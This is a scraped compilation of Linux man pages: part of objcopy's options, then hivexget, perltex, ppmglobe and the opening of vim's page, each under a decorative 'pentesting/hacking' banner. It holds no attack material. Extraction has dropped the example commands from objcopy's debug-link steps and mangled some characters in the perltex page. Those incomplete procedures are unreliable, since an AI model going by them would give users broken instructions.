Apply –localize-symbol option to each symbol listed in the file filename. filename is simply a flat file, with one symbol name per line. Line comments may be introduced by the hash character. This option may be given more than once.

–globalize-symbols=filename
Apply –globalize-symbol option to each symbol listed in the file filename. filename is simply a flat file, with one symbol name per line. Line comments may be introduced by the hash character. This option may be given more than once. Note: this option cannot be used in conjunction with the -G or –keep-global-symbol options.

–weaken-symbols=filename
Apply –weaken-symbol option to each symbol listed in the file filename. filename is simply a flat file, with one symbol name per line. Line comments may be introduced by the hash character. This option may be given more than once.

–alt-machine-code=index
If the output architecture has alternate machine codes, use the indexth code instead of the default one. This is useful in case a machine is assigned an official code and the tool-chain adopts the new code, but other applications still depend on the original code being used. For ELF based architectures if the index alternative does not exist then the value is treated as an absolute number to be stored in the e_machine field of the ELF header.

–writable-text
Mark the output text as writable. This option isn’t meaningful for all object file formats.

–readonly-text
Make the output text write protected. This option isn’t meaningful for all object file formats.

–pure
Mark the output file as demand paged. This option isn’t meaningful for all object file formats.

–impure
Mark the output file as impure. This option isn’t meaningful for all object file formats.

–prefix-symbols=string
Prefix all symbols in the output file with string.

–prefix-sections=string
Prefix all section names in the output file with string.

–prefix-alloc-sections=string
Prefix all the names of all allocated sections in the output file with string.

–add-gnu-debuglink=path-to-file
Creates a .gnu_debuglink section which contains a reference to path-to-file and adds it to the output file. Note: the file at path-to-file must exist. Part of the process of adding the .gnu_debuglink section involves embedding a checksum of the contents of the debug info file into the section. If the debug info file is built in one location but it is going to be installed at a later time into a different location then do not use the path to the installed location. The –add-gnu-debuglink option will fail because the installed file does not exist yet. Instead put the debug info file in the current directory and use the –add-gnu-debuglink option without any directory components, like this: objcopy –add-gnu-debuglink=foo.debug At debug time the debugger will attempt to look for the separate debug info file in a set of known locations. The exact set of these locations varies depending upon the distribution being used, but it typically includes:

“* The same directory as the executable.”

“* A sub-directory of the directory containing the executable”

called .debug

“* A global debug directory such as /usr/lib/debug.”

As long as the debug info file has been installed into one of these locations before the debugger is run everything should work correctly.

–keep-section-symbols
When stripping a file, perhaps with –strip-debug or –strip-unneeded, retain any symbols specifying section names, which would otherwise get stripped.

–keep-file-symbols
When stripping a file, perhaps with –strip-debug or –strip-unneeded, retain any symbols specifying source file names, which would otherwise get stripped.

–only-keep-debug
Strip a file, removing contents of any sections that would not be stripped by –strip-debug and leaving the debugging sections intact. In ELF files, this preserves all note sections in the output. Note - the section headers of the stripped sections are preserved, including their sizes, but the contents of the section are discarded. The section headers are preserved so that other tools can match up the debuginfo file with the real executable, even if that executable has been relocated to a different address space. The intention is that this option will be used in conjunction with –add-gnu-debuglink to create a two part executable. One a stripped binary which will occupy less space in RAM and in a distribution and the second a debugging information file which is only needed if debugging abilities are required. The suggested procedure to create these files is as follows:

  1. foo then…

  2. create a file containing the debugging info.

  3. stripped executable.

  4. to add a link to the debugging info into the stripped executable.

Note—the choice of .dbg as an extension for the debug info file is arbitrary. Also the --only-keep-debug step is optional. You could instead do this:

i.e., the file pointed to by the –add-gnu-debuglink can be the full executable. It does not have to be a file created by the –only-keep-debug switch. Note—this switch is only intended for use on fully linked files. It does not make sense to use it on object files where the debugging information may be incomplete. Besides the gnu_debuglink feature currently only supports the presence of one filename containing debugging information, not multiple filenames on a one-per-object-file basis.

–strip-dwo
Remove the contents of all DWARF .dwo sections, leaving the remaining debugging sections and all symbols intact. This option is intended for use by the compiler as part of the -gsplit-dwarf option, which splits debug information between the .o file and a separate .dwo file. The compiler generates all debug information in the same file, then uses the –extract-dwo option to copy the .dwo sections to the .dwo file, then the –strip-dwo option to remove those sections from the original .o file.

–extract-dwo
Extract the contents of all DWARF .dwo sections. See the –strip-dwo option for more information.

–file-alignment num
Specify the file alignment. Sections in the file will always begin at file offsets which are multiples of this number. This defaults to 512. [This option is specific to PE targets.]

–heap reserve

–heap reserve,commit

Specify the number of bytes of memory to reserve (and optionally commit) to be used as heap for this program. [This option is specific to PE targets.]

–image-base value
Use value as the base address of your program or dll. This is the lowest memory location that will be used when your program or dll is loaded. To reduce the need to relocate and improve performance of your dlls, each should have a unique base address and not overlap any other dlls. The default is 0x400000 for executables, and 0x10000000 for dlls. [This option is specific to PE targets.]

–section-alignment num
[This option is specific to PE targets.] Sets the section alignment field in the PE header - if one is present in the binary. Sections in memory will always begin at addresses which are a multiple of this number. Defaults to 0x1000. Note - this option will also set the alignment field in each section’s flags. Note - if a section’s LMA or VMA addresses are no longer aligned, and those addresses have not been set via the –set-section-lma or –set-section-vma options, and the file has been fully relocated then a warning message will be issued. It will then be up to the user to decide if the LMA and VMA need updating.

–stack reserve

–stack reserve,commit

Specify the number of bytes of memory to reserve (and optionally commit) to be used as stack for this program. [This option is specific to PE targets.]

–subsystem which

–subsystem which:major

–subsystem which:major.minor

Specifies the subsystem under which your program will execute. The legal values for which are native, windows, console, posix, efi-app, efi-bsd, efi-rtd, sal-rtd, and xbox. You may optionally set the subsystem version also. Numeric values are also accepted for which. [This option is specific to PE targets.]

–extract-symbol
Keep the file’s section flags and symbols but remove all section data. Specifically, the option:

*<removes the contents of all sections;>

*<sets the size of every section to zero; and>

*<sets the file’s start address to zero.>

This option is used to build a .sym file for a VxWorks kernel. It can also be a useful way of reducing the size of a –just-symbols linker input file.

–compress-debug-sections
Compress DWARF debug sections using zlib with SHF_COMPRESSED from the ELF ABI. Note - if compression would actually make a section larger, then it is not compressed.

–compress-debug-sections=none

–compress-debug-sections=zlib

–compress-debug-sections=zlib-gnu

–compress-debug-sections=zlib-gabi

–compress-debug-sections=zstd

For ELF files, these options control how DWARF debug sections are compressed. –compress-debug-sections=none is equivalent to –decompress-debug-sections. –compress-debug-sections=zlib and –compress-debug-sections=zlib-gabi are equivalent to –compress-debug-sections. –compress-debug-sections=zlib-gnu compresses DWARF debug sections using the obsoleted zlib-gnu format. The debug sections are renamed to begin with .zdebug. –compress-debug-sections=zstd compresses DWARF debug sections using zstd. Note - if compression would actually make a section larger, then it is not compressed nor renamed.

–decompress-debug-sections
Decompress DWARF debug sections. For a .zdebug section, the original name is restored.

–elf-stt-common=yes

–elf-stt-common=no

For ELF files, these options control whether common symbols should be converted to the STT_COMMON or STT_OBJECT type. –elf-stt-common=yes converts common symbol type to STT_COMMON. –elf-stt-common=no converts common symbol type to STT_OBJECT.

–merge-notes

–no-merge-notes

For ELF files, attempt (or do not attempt) to reduce the size of any SHT_NOTE type sections by removing duplicate notes.

-V

–version

Show the version number of objcopy.

–verilog-data-width=bytes
For Verilog output, this options controls the number of bytes converted for each output data element. The input target controls the endianness of the conversion.

-v

–verbose

Verbose output: list all object files modified. In the case of archives, objcopy -V lists all members of the archive.

–help
Show a summary of the options to objcopy.

–info
Display a list showing all architectures and object formats available.

  1. Read command-line options from file. The options read are inserted in place of the original @file option. If file does not exist, or cannot be read, then the option will be treated literally, and not removed. Options in file are separated by whitespace. A whitespace character may be included in an option by surrounding the entire option in either single or double quotes. Any character (including a backslash) may be included by prefixing the character to be included with a backslash. The file may itself contain additional @file options; any such options will be processed recursively.

SEE ALSO

ld (1), objdump (1), and the Info entries for binutils.

COPYRIGHT

Copyright (c) 1991-2024 Free Software Foundation, Inc.

Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License, Version 1.3 or any later version published by the Free Software Foundation; with no Invariant Sections, with no Front-Cover Texts, and with no Back-Cover Texts. A copy of the license is included in the section entitled “GNU Free Documentation License”.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

902 - Linux cli command hivexget

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command hivexget and provides detailed information about the command hivexget, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the hivexget.

NAME 🖥️ hivexget 🖥️

Get subkey from a Windows Registry binary “hive” file

SYNOPSIS

hivexget hivefile \Path\To\SubKey hivexget hivefile \Path\To\SubKey name

NOTE

This is a low-level tool. For a more convenient way to navigate the Windows Registry in Windows virtual machines, see virt-win-reg (1). For proper regedit formatting, use hivexregedit (1).

DESCRIPTION

This program navigates through a Windows Registry binary “hive” file and extracts either all the (key, value) data pairs stored in that subkey or just the single named data item.

In the first form:

hivexget hivefile \Path\To\SubKey

hivefile is some Windows Registry binary hive, and \Path\To\Subkey is a path within that hive. NB the path is relative to the top of this hive, and is not the full path as you would use in Windows (eg. HKEY_LOCAL_MACHINE\SYSTEM is not a valid path).

If the subkey exists, then the output lists all data pairs under this subkey, in a format similar to regedit in Windows.

In the second form:

hivexget hivefile \Path\To\SubKey name

hivefile and path are as above. name is the name of the value of interest (use @ for the default value).

The corresponding data item is printed “raw” (ie. no processing or escaping) except:

  1. If it’s a string we will convert it from Windows UTF-16 to UTF-8, if this conversion is possible. The string is printed with a single trailing newline.

  2. If it’s a multiple-string value, each string is printed on a separate line.

  3. If it’s a numeric value, it is printed as a decimal number.

SEE ALSO

hivex (3), hivexml (1), hivexsh (1), hivexregedit (1), virt-win-reg (1), guestfs (3), <http://libguestfs.org/>, virt-cat (1), virt-edit (1).

AUTHORS

Richard W.M. Jones (rjones at redhat dot com)

COPYRIGHT

Copyright (C) 2009 Red Hat Inc.

This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version.

This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.

You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

903 - Linux cli command perltex

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command perltex and provides detailed information about the command perltex, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the perltex.

NAME 🖥️ perltex 🖥️

enable LaTeX macros to be defined in terms of Perl code

SYNOPSIS

perltex [–help] [–latex=program] [[no]safe] [–permit=feature] [–makesty] [latex options]

DESCRIPTION

LaTeX Ω- through the underlying TeX typesetting system Ω- produces beautifully typeset documents but has a macro language that is difficult to program. In particular, support for complex string manipulation is largely lacking. Perl is a popular general-purpose programming language whose forte is string manipulation. However, it has no typesetting capabilities whatsoever.

Clearly, Perl’s programmability could complement LaTeX’s typesetting strengths. perltex is the tool that enables a symbiosis between the two systems. All a user needs to do is compile a LaTeX document using perltex instead of latex. (perltex is actually a wrapper for latex, so no latex functionality is lost.) If the document includes a \usepackage{perltex} in its preamble, then \perlnewcommand and \perlrenewcommand macros will be made available. These behave just like LaTeX’s ewcommand and enewcommand except that the macro body contains Perl code instead of LaTeX code.

OPTIONS

perltex accepts the following command-line options:

–help
Display basic usage information.

–latex=program
Specify a program to use instead of latex. For example, --latex=pdflatex would typeset the given document using pdflatex instead of ordinary latex.

–[no]safe
Enable or disable sandboxing. With the default of –safe, perltex executes the code from a \perlnewcommand or \perlrenewcommand macro within a protected environment that prohibits ``unsafe’’ operations such as accessing files or executing external programs. Specifying –nosafe gives the LaTeX document carte blanche to execute any arbitrary Perl code, including that which can harm the user’s files. See Safe for more information.

–permit=feature
Permit particular Perl operations to be performed. The –permit option, which can be specified more than once on the command line, enables finer-grained control over the perltex sandbox. See Opcode for more information.

–makesty
Generate a LaTeX style file called noperltex.sty. Replacing the document’s \usepackage{perltex} line with \usepackage{noperltex} produces the same output but does not require PerlTeX, making the document suitable for distribution to people who do not have PerlTeX installed. The disadvantage is that noperltex.sty is specific to the document that produced it. Any changes to the document’s PerlTeX macro definitions or macro invocations necessitates rerunning perltex with the –makesty option.

These options are then followed by whatever options are normally passed to latex (or whatever program was specified with --latex), including, for instance, the name of the .tex file to compile.

EXAMPLES

In its simplest form, perltex is run just like latex:

perltex myfile.tex

To use pdflatex instead of regular latex, use the –latex option:

perltex –latex=pdflatex myfile.tex

If LaTeX gives a ``trapped by operation mask’’ error and you trust the .tex file you’re trying to compile not to execute malicious Perl code (e.g., because you wrote it yourself), you can disable perltex’s safety mechansisms with –nosafe:

perltex –nosafe myfile.tex

The following command gives documents only perltex’s default permissions (:browse) plus the ability to open files and invoke the time command:

perltex –permit=:browse –permit=:filesys_open –permit=time myfile.tex

ENVIRONMENT

perltex honors the following environment variables:

PERLTEX
Specify the filename of the LaTeX compiler. The LaTeX compiler defaults to ``latex’’. The PERLTEX environment variable overrides this default, and the –latex command-line option (see OPTIONS) overrides that.

FILES

While compiling jobname.tex, perltex makes use of the following files:

jobname.lgpl
log file written by Perl; helpful for debugging Perl macros

jobname.topl
information sent from LaTeX to Perl

jobname.frpl
information sent from Perl to LaTeX

jobname.tfpl
``flag’’ file whose existence indicates that jobname.topl contains valid data

jobname.ffpl
``flag’’ file whose existence indicates that jobname.frpl contains valid data

jobname.dfpl
``flag’’ file whose existence indicates that jobname.ffpl has been deleted

noperltex-#.tex
file generated by noperltex.sty for each PerlTeX macro invocation

NOTES

perltex’s sandbox defaults to what Opcode calls ``:browse’'.

SEE ALSO

latex (1), pdflatex (1), perl (1), Safe (3pm), Opcode (3pm)

AUTHOR

Scott Pakin, [email protected]

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

904 - Linux cli command ppmglobe

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command ppmglobe and provides detailed information about the command ppmglobe, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the ppmglobe.

.

NAME 🖥️ ppmglobe 🖥️

generate strips to glue onto a sphere

SYNOPSIS

ppmglobe [-background=colorname] [-closeok] stripcount [filename]

Minimum unique abbreviation of option is acceptable. You may use double hyphens instead of single hyphen to denote options. You may use white space in place of the equals sign to separate an option name from its value.

DESCRIPTION

This program is part of Netpbm(1) .

ppmglobe does the inverse of a cylindrical projection of a sphere. Starting with a cylindrical projection, it produces an image you can cut up and glue onto a sphere to obtain the spherical image of which it is the cylindrical projection.

What is a cylindrical projection? Imagine a map of the Earth on flat paper. There are lots of different ways cartographers show the three dimensional information in such a two dimensional map. The cylindrical projection is one. You could make a cylindrical projection by tracing as follows: wrap a rectangular sheet of paper around the globe, touching the globe at the Equator. For each point of color on the globe, run a horizontal line from the axis of the globe through that point and out to the paper. Mark the same color on the paper there. Lay the paper out flat and you have a cylindrical projection.

Here’s where ppmglobe comes in: Pass the image on that paper through ppmglobe and what comes out the other side looks something like this:

Example of map of the earth run through ppmglobe

You could cut out the strips and glue it onto a sphere and you’d have a copy of the original globe.

Note that cylindrical projections are not what you normally see as maps of the Earth. You’re more likely to see a Mercator projection. In the Mercator projection, the Earth gets stretched North-South as well as East-West as you move away from the Equator. It was invented for use in navigation, because you can draw straight compass courses on it, but is used today because it is pretty.

You can find maps of planets at maps.jpl.nasa.gov .

PARAMETERS

stripcount is the number of strips ppmglobe is to generate in the output. More strips makes it easier to fit onto a sphere (less stretching, tearing, and crumpling of paper), but makes you do more cutting out of the strips.

The strips are all the same width. If the number of columns of pixels in the image doesn’t evenly divide by the number of strips, ppmglobe truncates the image on the right to create nothing but whole strips. In the pathological case that there are fewer columns of pixels than the number of strips you asked for, ppmglobe fails.

Before Netpbm 10.32 (February 2006), instead of truncating the image on the right, ppmglobe produces a fractional strip on the right.

filename is the name of the input file. If you don’t specify this, ppmglobe reads the image from Standard Input.

OPTIONS

In addition to the options common to all programs based on libnetpbm (most notably -quiet, see Common Options ), ppmglobe recognizes the following command line options:

**-background=**colorname
This specifies the color that goes between the strips.

Specify the color (color) as described for the argument of the pnm_parsecolor() library routine .

The default is black.

This option was new in Netpbm 10.31 (December 2005). Before that, the background is always black.

-closeok
This means it is OK if the background isn’t exactly the color you specify. Sometimes, it is impossible to represent a named color exactly because of the precision (i.e. maxval) of the image’s color space. If you specify -closeok and ppmglobe can’t represent the color you name exactly, it will use instead the closest color to it that is possible. If you don’t specify closeok, ppmglobe fails in that situation.

This option was new in Netpbm 10.31 (December 2005).

SEE ALSO

ppm(1) pnmmercator(1)

HISTORY

ppmglobe was new in Netpbm 10.16 (June 2003).

It is derived from Max Gensthaler’s ppmglobemap.

AUTHORS

Max Gensthaler wrote a program he called ppmglobemap in June 2003 and suggested it for inclusion in Netpbm. Bryan Henderson modified the code slightly and included it in Netpbm as ppmglobe.

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/ppmglobe.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

905 - Linux cli command vim

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command vim and provides detailed information about the command vim, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the vim.

NAME 🖥️ vim 🖥️

Vi IMproved, a programmer’s text editor

SYNOPSIS

vim [options] [file ..]
vim [options] -
vim [options] -t tag
vim [options] -q [errorfile]

ex
view
gvim gview evim eview
rvim rview rgvim rgview

DESCRIPTION

Vim is a text editor that is upwards compatible to Vi. It can be used to edit all kinds of plain text. It is especially useful for editing programs.

There are a lot of enhancements above Vi: multi level undo, multi windows and buffers, syntax highlighting, command line editing, filename completion, on-line help, visual selection, etc.. See “:help vi_diff.txt” for a summary of the differences between Vim and Vi.

While running Vim a lot of help can be obtained from the on-line help system, with the “:help” command. See the ON-LINE HELP section below.

Most often Vim is started to edit a single file with the command

vim file

More generally Vim is started with:

vim [options] [filelist]

If the filelist is missing, the editor will start with an empty buffer. Otherwise exactly one out of the following four may be used to choose one or more files to be edited.

file ..
A list of filenames. The first one will be the current file and read into the buffer. The cursor will be positioned on the first line of the buffer. You can get to the other files with the “:next” command. To edit a file that starts with a dash, precede the filelist with “–”.

-
The file to edit is read from stdin. Commands are read from stderr, which should be a tty.

-t {tag}
The file to edit and the initial cursor position depends on a “tag”, a sort of goto label. {tag} is looked up in the tags file, the associated file becomes the current file and the associated command is executed. Mostly this is used for C programs, in which case {tag} could be a function name. The effect is that the file containing that function becomes the current file and the cursor is positioned on the start of the function. See “:help tag-commands”.

-q [errorfile]
Start in quickFix mode. The file [errorfile] is read and the first error is displayed. If [errorfile] is omitted, the filename is obtained from the ’errorfile’ option (defaults to “AztecC.Err” for the Amiga, “errors.err” on other systems). Further errors can be jumped to with the “:cn” command. See “:help quickfix”.

Vim behaves differently, depending on the name of the command (the executable may still be the same file).

vim
The “normal” way, everything is default.

ex
Start in Ex mode. Go to Normal mode with the “:vi” command. Can also be done with the “-e” argument.

view
Start in read-only mode. You will be protected from writing the files. Can also be done with the “-R” argument.

gvim gview
The GUI version. Starts a new window. Can also be done with the “-g” argument.

evim eview
The GUI version in easy mode. Starts a new window. Can also be done with the “-y” argument.

rvim rview rgvim rgview
Like the above, but with restrictions. It will not be possible to start shell commands, or suspend Vim. Can also be done with the “-Z” argument.

OPTIONS

The options may be given in any order, before or after filenames. Options without an argument can be combined after a single dash.

+[num]
For the first file the cursor will be positioned on line “num”. If “num” is missing, the cursor will be positioned on the last line.

+/{pat}
For the first file the cursor will be positioned in the line with the first occurrence of {pat}. See “:help search-pattern” for the available search patterns.

+{command}
-c {command}
{command} will be executed after the first file has been read. {command} is interpreted as an Ex command. If the {command} contains spaces it must be enclosed in double quotes (this depends on the shell that is used). Example: vim “+set si” main.c
Note: You can use up to 10 “+” or “-c” commands.

-S {file}
{file} will be sourced after the first file has been read. This is equivalent to -c “source {file}”. {file} cannot start with ‘-’. If {file} is omitted “Session.vim” is used (only works when -S is the last argument).

–cmd {command}
Like using “-c”, but the command is executed just before processing any vimrc file. You can use up to 10 of these commands, independently from “-c” commands.

-A
If Vim has been compiled with ARABIC support for editing right-to-left oriented files and Arabic keyboard mapping, this option starts Vim in Arabic mode, i.e. ‘arabic’ is set. Otherwise an error message is given and Vim aborts.

-b
Binary mode. A few options will be set that makes it possible to edit a binary or executable file.

-C
Compatible. Set the ‘compatible’ option. This will make Vim behave mostly like Vi, even though a .vimrc file exists.

-d
Start in diff mode. There should between two to eight file name arguments. Vim will open all the files and show differences between them. Works like vimdiff(1).

-d {device}, -dev {device}
Open {device} for use as a terminal. Only on the Amiga. Example: “-d con:20/30/600/150”.

-D
Debugging. Go to debugging mode when executing the first command from a script.

-e
Start Vim in Ex mode, just like the executable was called “ex”.

-E
Start Vim in improved Ex mode, just like the executable was called “exim”.

-f
Foreground. For the GUI version, Vim will not fork and detach from the shell it was started in. On the Amiga, Vim is not restarted to open a new window. This option should be used when Vim is executed by a program that will wait for the edit session to finish (e.g. mail). On the Amiga the “:sh” and “:!” commands will not work.

–nofork
Foreground. For the GUI version, Vim will not fork and detach from the shell it was started in.

-F
If Vim has been compiled with FKMAP support for editing right-to-left oriented files and Farsi keyboard mapping, this option starts Vim in Farsi mode, i.e. ‘fkmap’ and ‘rightleft’ are set. Otherwise an error message is given and Vim aborts.

-g
If Vim has been compiled with GUI support, this option enables the GUI. If no GUI support was compiled in, an error message is given and Vim aborts.

–gui-dialog-file {name}
When using the GUI, instead of showing a dialog, write the title and message of the dialog to file {name}. The file is created or appended to. Only useful for testing, to avoid that the test gets stuck on a dialog that can’t be seen. Without the GUI the argument is ignored.

–help, -h, -?
Give a bit of help about the command line arguments and options. After this Vim exits.

-H
If Vim has been compiled with RIGHTLEFT support for editing right-to-left oriented files and Hebrew keyboard mapping, this option starts Vim in Hebrew mode, i.e. ‘hkmap’ and ‘rightleft’ are set. Otherwise an error message is given and Vim aborts.

-i {viminfo}
Specifies the filename to use when reading or writing the viminfo file, instead of the default “~/.viminfo”. This can also be used to skip the use of the .viminfo file, by giving the name “NONE”.

-L
Same as -r.

-l
Lisp mode. Sets the ’lisp’ and ‘showmatch’ options on.

-m
Modifying files is disabled. Resets the ‘write’ option. You can still modify the buffer, but writing a file is not possible.

-M
Modifications not allowed. The ‘modifiable’ and ‘write’ options will be unset, so that changes are not allowed and files can not be written. Note that these options can be set to enable making modifications.

-N
No-compatible mode. Resets the ‘compatible’ option. This will make Vim behave a bit better, but less Vi compatible, even though a .vimrc file does not exist.

-n
No swap file will be used. Recovery after a crash will be impossible. Handy if you want to edit a file on a very slow medium (e.g. floppy). Can also be done with “:set uc=0”. Can be undone with “:set uc=200”.

-nb
Become an editor server for NetBeans. See the docs for details.

-o[N]
Open N windows stacked. When N is omitted, open one window for each file.

-O[N]
Open N windows side by side. When N is omitted, open one window for each file.

-p[N]
Open N tab pages. When N is omitted, open one tab page for each file.

-P {parent-title}
Win32 GUI only: Specify the title of the parent application. When possible, Vim will run in an MDI window inside the application. {parent-title} must appear in the window title of the parent application. Make sure that it is specific enough. Note that the implementation is still primitive. It won’t work with all applications and the menu doesn’t work.

-R
Read-only mode. The ‘readonly’ option will be set. You can still edit the buffer, but will be prevented from accidentally overwriting a file. If you do want to overwrite a file, add an exclamation mark to the Ex command, as in “:w!”. The -R option also implies the -n option (see above). The ‘readonly’ option can be reset with “:set noro”. See “:help ‘readonly’”.

-r
List swap files, with information about using them for recovery.

-r {file}
Recovery mode. The swap file is used to recover a crashed editing session. The swap file is a file with the same filename as the text file with “.swp” appended. See “:help recovery”.

-s
Silent mode. Only when started as “Ex” or when the “-e” option was given before the “-s” option.

-s {scriptin}
The script file {scriptin} is read. The characters in the file are interpreted as if you had typed them. The same can be done with the command “:source! {scriptin}”. If the end of the file is reached before the editor exits, further characters are read from the keyboard.

-T {terminal}
Tells Vim the name of the terminal you are using. Only required when the automatic way doesn’t work. Should be a terminal known to Vim (builtin) or defined in the termcap or terminfo file.

–not-a-term
Tells Vim that the user knows that the input and/or output is not connected to a terminal. This will avoid the warning and the two second delay that would happen.

–ttyfail
When stdin or stdout is not a a terminal (tty) then exit right away.

-u {vimrc}
Use the commands in the file {vimrc} for initializations. All the other initializations are skipped. Use this to edit a special kind of files. It can also be used to skip all initializations by giving the name “NONE”. See “:help initialization” within vim for more details.

-U {gvimrc}
Use the commands in the file {gvimrc} for GUI initializations. All the other GUI initializations are skipped. It can also be used to skip all GUI initializations by giving the name “NONE”. See “:help gui-init” within vim for more details.

-V[N]
Verbose. Give messages about which files are sourced and for reading and writing a viminfo file. The optional number N is the value for ‘verbose’. Default is 10.

-V[N]{filename}
Like -V and set ‘verbosefile’ to {filename}. The result is that messages are not displayed but written to the file {filename}. {filename} must not start with a digit.

–log {filename}
If Vim has been compiled with eval and channel feature, start logging and write entries to {filename}. This works like calling ch_logfile({filename}, ‘ao’) very early during startup.

-v
Start Vim in Vi mode, just like the executable was called “vi”. This only has effect when the executable is called “ex”.

-w{number}
Set the ‘window’ option to {number}.

-w {scriptout}
All the characters that you type are recorded in the file {scriptout}, until you exit Vim. This is useful if you want to create a script file to be used with “vim -s” or “:source!”. If the {scriptout} file exists, characters are appended.

-W {scriptout}
Like -w, but an existing file is overwritten.

-x
Use encryption when writing files. Will prompt for a crypt key.

-X
Don’t connect to the X server. Shortens startup time in a terminal, but the window title and clipboard will not be used.

-y
Start Vim in easy mode, just like the executable was called “evim” or “eview”. Makes Vim behave like a click-and-type editor.

-Z
Restricted mode. Works like the executable starts with “r”.


Denotes the end of the options. Arguments after this will be handled as a file name. This can be used to edit a filename that starts with a ‘-’.

–clean
Do not use any personal configuration (vimrc, plugins, etc.). Useful to see if a problem reproduces with a clean Vim setup.

–echo-wid
GTK GUI only: Echo the Window ID on stdout.

–literal
Take file name arguments literally, do not expand wildcards. This has no effect on Unix where the shell expands wildcards.

–noplugin
Skip loading plugins. Implied by -u NONE.

–remote
Connect to a Vim server and make it edit the files given in the rest of the arguments. If no server is found a warning is given and the files are edited in the current Vim.

–remote-expr {expr}
Connect to a Vim server, evaluate {expr} in it and print the result on stdout.

–remote-send {keys}
Connect to a Vim server and send {keys} to it.

–remote-silent
